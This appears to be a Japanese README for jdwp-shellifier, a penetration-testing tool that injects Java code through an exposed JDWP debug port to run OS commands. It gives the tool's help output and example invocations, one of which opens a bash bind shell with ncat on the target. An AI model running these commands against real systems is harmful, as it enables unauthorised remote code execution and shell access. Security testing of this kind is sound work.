
露出した Java Debug Wire Protocol (JDWP) サービスに対する悪用スクリプトで、ペンテスターがJavaコードを注入し、対象のJVM上で任意のOSコマンドを実行できるようにします。
このエクスプロイトスクリプトは、ペネトレーションテスターがアクティブな JDWP サービスに対して使用し、リモートコード実行を達成することを目的としています。
ごく標準的な方法で、このスクリプトには Python 2 インタプリタが必要なだけです。
% python ./jdwp-shellifier.py -h
usage: jdwp-shellifier.py [-h] -t IP [-p PORT] [--break-on JAVA_METHOD]
[--cmd COMMAND]
Universal exploitation script for JDWP by @_hugsy_
optional arguments:
-h, --help show this help message and exit
-t IP, --target IP Remote target IP (default: None)
-p PORT, --port PORT Remote target port (default: 8000)
--break-on JAVA_METHOD
Specify full path to method to break on (default:
java.net.ServerSocket.accept)
--cmd COMMAND Specify full path to method to break on (default:
None)
特定のホスト/ポートをターゲットにするには:
$ python ./jdwp-shellifier.py -t my.target.ip -p 1234
このコマンドは、JVM に Java コードを注入し、オペレーティングシステムや Java バージョンなどの情報を表示するだけです。外部のコードやバイナリを実行しないため、完全に安全で、Proof-Of-Concept として使用できます。
$ python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "ncat -v -l -p 1234 -e /bin/bash"
このコマンドは、実行中の JVM に与えられた権限で、指定された引数を指定して ncat プロセスを実際に実行します。
質問を送る前に、JDWP プロトコルを完全に理解するために http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html を必ずお読みください。